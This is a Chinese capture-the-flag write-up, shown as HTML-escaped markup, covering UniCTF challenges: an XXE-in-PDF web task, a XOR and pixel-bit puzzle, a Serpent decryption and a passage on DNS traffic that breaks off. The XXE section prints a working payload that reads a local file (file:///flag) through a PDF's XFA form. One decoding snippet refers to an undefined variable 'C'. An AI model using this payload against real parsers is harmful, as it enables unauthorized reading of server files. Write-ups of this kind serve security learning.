&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;startxref&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;str&lt;/span&gt;&lt;span&gt;&lt;span&gt;(xref_offset).&lt;/span&gt;&lt;span&gt;encode&lt;/span&gt;&lt;span&gt;() &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;105&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;trailer &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;%%&lt;/span&gt;&lt;span&gt;EOF&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;106&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;107&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;final_pdf &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; body &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; xref &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; trailer&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;108&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; final_pdf&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;109&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;110&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# 创建并保存PDF&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;111&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;with&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;open&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;test_xxe.pdf&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;wb&quot;&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;as&lt;/span&gt;&lt;span&gt; f:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;112&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;f.&lt;/span&gt;&lt;span&gt;write&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;create_test_xxe_pdf&lt;/span&gt;&lt;span&gt;())&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;显示更多&lt;/span&gt;&lt;span&gt;显示更少&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;运行代码就会生成一个PDF，把PDF提交上去就可以看到返回的flag&lt;/p&gt;&lt;p&gt;关键在于注入的恶意代码：&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;?&lt;/span&gt;&lt;span&gt;&lt;span&gt;xml version&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;1.0&quot;&lt;/span&gt;&lt;span&gt;?&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;&lt;span&gt;DOCTYPE&lt;/span&gt;&lt;span&gt; xfa [&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;&lt;span&gt;ENTITY&lt;/span&gt;&lt;span&gt; xxe &lt;/span&gt;&lt;span&gt;SYSTEM&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;file:///flag&quot;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;/span&gt;&lt;span&gt;--&lt;/span&gt;&lt;span&gt; 定义一个外部实体xxe=&lt;/span&gt;&lt;span&gt;&quot;file:///flag&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;xdp:xdp xmlns:xdp&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;http://ns.adobe.com/xdp/&quot;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;template&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;subform name&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;form1&quot;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;field name&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;field1&quot;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;ui&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;textEdit&lt;/span&gt;&lt;span&gt;/&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;ui&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;value&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;&amp;gt;&amp;amp;&lt;/span&gt;&lt;span&gt;xxe;&lt;/span&gt;&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;--&lt;/span&gt;&lt;span&gt; 引用这个外部实体 &lt;/span&gt;&lt;span&gt;--&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;value&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;field&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;subform&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;template&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;xdp:xdp&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;显示更多&lt;/span&gt;&lt;span&gt;显示更少&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;代码定义了一个外部实体随后引用它，当XML解析器解析这个引用的时候会用”file:///flag”的内容替换”&amp;amp;xxe;”&lt;/p&gt;&lt;p&gt;于是我们就在解析器返回的结果中看到了flag&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;截取的线索&lt;a href=&quot;#截取的线索&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;下载附件，是一个TXT文本和一个PNG图像。&lt;/p&gt;&lt;p&gt;文本7.txt内容如下：&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;RinDSA|W6dlkbXsob&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;应该是经过了某种编码或者加密。&lt;/p&gt;&lt;p&gt;编码的话，首先想到的是base64，但是base64的字符集不包含’|‘，所以应该是其他的方法。&lt;/p&gt;&lt;p&gt;加密的话，从简单的开始考虑，首先想到的是XOR，但我们需要密钥。&lt;/p&gt;&lt;p&gt;文件名是’7’，也许这就是密钥？试一下：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;c &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;RinDSA|W6dlkbXsob&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;m &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; c:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;m &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;chr&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;ord&lt;/span&gt;&lt;span&gt;&lt;span&gt;(i) &lt;/span&gt;&lt;span&gt;^&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(m)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;输出：&lt;strong&gt;UniCTF{P1ckle_the&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;看起来是flag的左段。那么右段应该就在附件的另外一个文件中。&lt;/p&gt;&lt;p&gt;PNG是一个96*1的黑白像素图，很难不想到01比特流。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;96&quot; height=&quot;1&quot; src=&quot;/_astro/%E6%88%AA%E5%8F%96%E7%9A%84%E7%BA%BF%E7%B4%A2.BHlj-4nu_Z2bc3jX.webp&quot; /&gt;&lt;figcaption&gt;截取的线索&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;认为黑色像素代表1白色像素代表0的话可以得到：&lt;/p&gt;&lt;p&gt;101000001011100010001101100110101001111010001011101000001000101110010000110011111100111010000010&lt;/p&gt;&lt;p&gt;尝试作为ASCII：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;c &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;101000001011100010001101100110101001111010001011101000001000101110010000110011111100111010000010&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;m &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;range&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;96&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;) :&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;bytes&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; c[i:i&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;char &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;bytes&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;m &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;chr&lt;/span&gt;&lt;span&gt;(char)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(m)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;但是打印出的结果很奇怪，包含了不可见字符。&lt;/p&gt;&lt;p&gt;反转一下（黑色像素代表0白色像素代表1）试试：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;c &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;010111110100011101110010011001010110000101110100010111110111010001101111001100000011000101111101&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;m &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;range&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;96&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;) :&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;bytes&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; C[i:i&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;char &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;bytes&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;m &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;chr&lt;/span&gt;&lt;span&gt;(char)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(m)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;输出：&lt;strong&gt;_Great_to01}&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;合并之后就是完整的flag：&lt;strong&gt;UniCTF{P1ckle_the_Great_to01}&lt;/strong&gt;&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;Sign in&lt;a href=&quot;#sign-in&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;下载附件，是一个压缩包：attachment.zip&lt;/p&gt;&lt;p&gt;解压之后是一个文件：Serpent.dat&lt;/p&gt;&lt;p&gt;直接打开只能看见一些杂乱的数据，混杂着不可见字符。&lt;/p&gt;&lt;p&gt;用十六进制编辑器查看：&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;32E393BB 94638401 59017E99 12FCD4D0 6138D9EE FF5153A4 2837C456 5C4297D4&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;这应该就是密文了。&lt;/p&gt;&lt;p&gt;文件的名字是&lt;strong&gt;Serpent&lt;/strong&gt;，这是一种高安全性的对称密钥分组密码算法。&lt;/p&gt;&lt;p&gt;密文的长度也刚好是两个分组的长度，猜测加密使用的算法就是Serpent加密算法。&lt;/p&gt;&lt;p&gt;但是密钥是什么呢？&lt;/p&gt;&lt;p&gt;Serpent.dat本身32字节，没有再分析出更多信息。但是解压前的压缩包却有200字节，也许信息藏在压缩包中。&lt;/p&gt;&lt;p&gt;查看压缩包的十六进制数据，在数据尾部发现了可疑的字符串：&lt;strong&gt;U2VjcmV0S2V5&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;用在线的Serpent加密解密网站](&lt;a href=&quot;http://serpent.online-domain-tools.com/)%E8%AF%95%E8%AF%95%E8%A7%A3%E5%AF%86%E3%80%82&quot; target=&quot;_blank&quot;&gt;http://serpent.online-domain-tools.com/)试试解密。&lt;/a&gt;&lt;/p&gt;&lt;p&gt;由于没有找到更多的信息，先选择ECB模式，U2VjcmV0S2V5作为key试试。&lt;/p&gt;&lt;p&gt;但是得到的结果很奇怪。也许key是经过处理的。&lt;/p&gt;&lt;p&gt;没有更多的信息，先试试&lt;strong&gt;base64解码：SecretKey&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;这看起来更像是key，用这个作为key解密就可以拿到flag：&lt;strong&gt;UniCTF{Serpentine_Secrets}&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;Silent Resolver&lt;a href=&quot;#silent-resolver&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;下载附件，是一个流量包文件。打开之后观察，可以发现一些可疑的域名：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;2880&quot; height=&quot;1752&quot; src=&quot;/_astro/%E6%B5%81%E9%87%8F%E5%8C%85.DvIgwoK__ZeoufJ.webp&quot; /&gt;&lt;figcaption&gt;流量包&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;这些域名和其他域名明显不同。提取6条域名中间不同的部分：&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;“kbfqgbauaaaaacaajbsskxfwamzbcoaaaaadmaaaaaeaaaaamz”,
“wgczzoor4hic6nzn2a44nloyy4qk4jb4utekjorf37cc4ob4wd”,
“klrsjqwy4n6pgcxiz5zvjthsrcpxgbgdddqpgzhc4mrofgxaka”,
“cqjmaqefadcqaaaaaiabegkjk4wybteejyaaaaanqaaaaaqaaa”,
“aaaaaaaaaaaaaaeaaeaaaaaamzwgczzoor4hiuclaudaaaaaaa”,
